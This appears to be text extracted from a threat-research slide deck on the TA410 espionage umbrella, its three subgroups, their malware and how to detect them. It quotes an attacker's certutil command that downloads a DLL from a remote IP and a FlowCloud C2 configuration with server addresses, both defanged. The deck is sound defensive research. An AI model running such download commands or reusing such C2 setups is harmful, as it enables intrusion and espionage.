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How it started



Magnet of threats

Turla

LuckyMouse Gelsemium



https://www.welivesecurity.com/2021/06/09/gelsemium-when-threat-actors-go-gardening/

https://www.welivesecurity.com/2021/06/09/gelsemium-when-threat-actors-go-gardening/


Magnet of threats

• Expression first used by 
Costin (Kaspersky Labs)

• Designate an organization
targeted by several cyber-
espionage groups from 
different origins



certutil.exe
-urlcache -split –f 
"http://43.254.216[.]104/
PortableDeviceApi.dll"





A simple backdoor we named X4. 
We did not find links to a known threat actor.





C:\ProgramData\Applications
\Cache\libcurl.dll

Two months later…

LookBack backdoor



https://www.proofpoint.com/us/threat-insight/post/lookback-malware-targets-united-states-utilities-sector-phishing-attacks

https://www.proofpoint.com/us/threat-insight/post/lookback-malware-targets-united-states-utilities-sector-phishing-attacks


https://www.proofpoint.com/us/blog/threat-insight/ta410-group-behind-lookback-attacks-against-us-utilities-sector-returns-new

https://www.proofpoint.com/us/blog/threat-insight/ta410-group-behind-lookback-attacks-against-us-utilities-sector-returns-new


TL;DR

•We have

•We missed Proofpoint blogposts 

discovered JollyFrogdiscovered JollyFrog“re-discovered” TA410



TA410 vs APT10
Clarifying the confusion









TA410 ≠ APT10 / A41APT

QuasarRAT

Korplug



The Umbrella



FlowingFrog

JollyFrog LookingFrog

ffca.caibi379[.]com



Victimology





FlowingFrog



LookingFrog



JollyFrog



Initial Access



Spearphishing: FlowingFrog



Royal Road / 8.t RTF builder

Tonto Team

TA410

TA413

TA428

FunnyDream / Chinoxy

SpaceOddity

Rancon

SharpPanda

GoblinPanda





https://github.com/nao-sec/rr_decoder/

https://github.com/nao-sec/rr_decoder/


Exploit public facing app: LookingFrog and JollyFrog

CVE-2019-0604

ProxyLogon (March 2021)
ProxyShell    (August 2021)



https://www.welivesecurity.com/2021/03/10/exchange-servers-under-siege-10-apt-groups/

https://www.welivesecurity.com/2021/03/10/exchange-servers-under-siege-10-apt-groups/












Looking Frog:
X4 / LookBack



X4



X4 Capabilities



LookBack

•screenshot

https://www.welivesecurity.com/2022/04/27/lookback-ta410-umbrella-cyberespionage-ttps-activity/

https://www.welivesecurity.com/2022/04/27/lookback-ta410-umbrella-cyberespionage-ttps-activity/


LookBack Capabilities

System Information User Activity Active Control



Flowing Frog:
Tendyron / FlowCloud



Tendyron Downloader

FlowCloudt86.dat
Downloader

Loader Backdoor based on 
Farfli/Gh0st

running in iexplorer.exe

Tendyron downloader
running in iexplorer.exe

Royal Road Document

injects

downloads

downloads

downloads

injects



server_config {
product_name: "PCArrowI"
product_version: "v5.0.2"
id: "1202_[REDACTED]"
root: ""
file_server: "47.111.22[.]65"
file_server_port: "80"
file_server_bak: ""
file_server_bak_port: ""
exchange_server: "47.111.22[.]65"
exchange_server_port: "81"
exchange_server_bak: ""
exchange_server_bak_port: ""
file_server_key: "E\367\016\031\314\2637[...]"
xchg_server_key: "8\335\325$\200\233e\363#\346[...]"
file_key: "U\267\323\353\213\261?\242c[...]"
is_audio_only: false
id_prefix: "1202"

}





Architecture

Over 50 custom classes



FlowCloud Capabilities

System Information User Activity Detection Evasion



≥ 65 dB 



Rootkit









Jolly Frog:
Quasar Rat / Korplug



QuasarRAT Korplug (aka PlugX)

• DLL side loading
• Abuse F-Secure’s qrtfix.exe
• Encrypted payload on disk



Detection opportunities



Malware delivery via certutil

https://lolbas-project.github.io/lolbas/
Binaries/Certutil/

https://lolbas-project.github.io/lolbas/Binaries/Certutil/


MS SharePoint & Exchange RCE

•Suspicious tree starting from w3wp.exe

•Ex:
• .aspx/.exe written on disk
• Several cmd.exe executed in a short period of time



Royal Road

•Rely on N-days exploits

•Updating MS Office is “enough” (and 
theoretically easier than a server application)



LookBack custom network protocol – Snort rules

https://github.com/eset/malware-ioc/ta410

https://https/github.com/eset/malware-ioc/ta410


Conclusion



Umbrella composed of 3 
subgroups

Initial access Complex Custom Backdoors

Targeted Espionage
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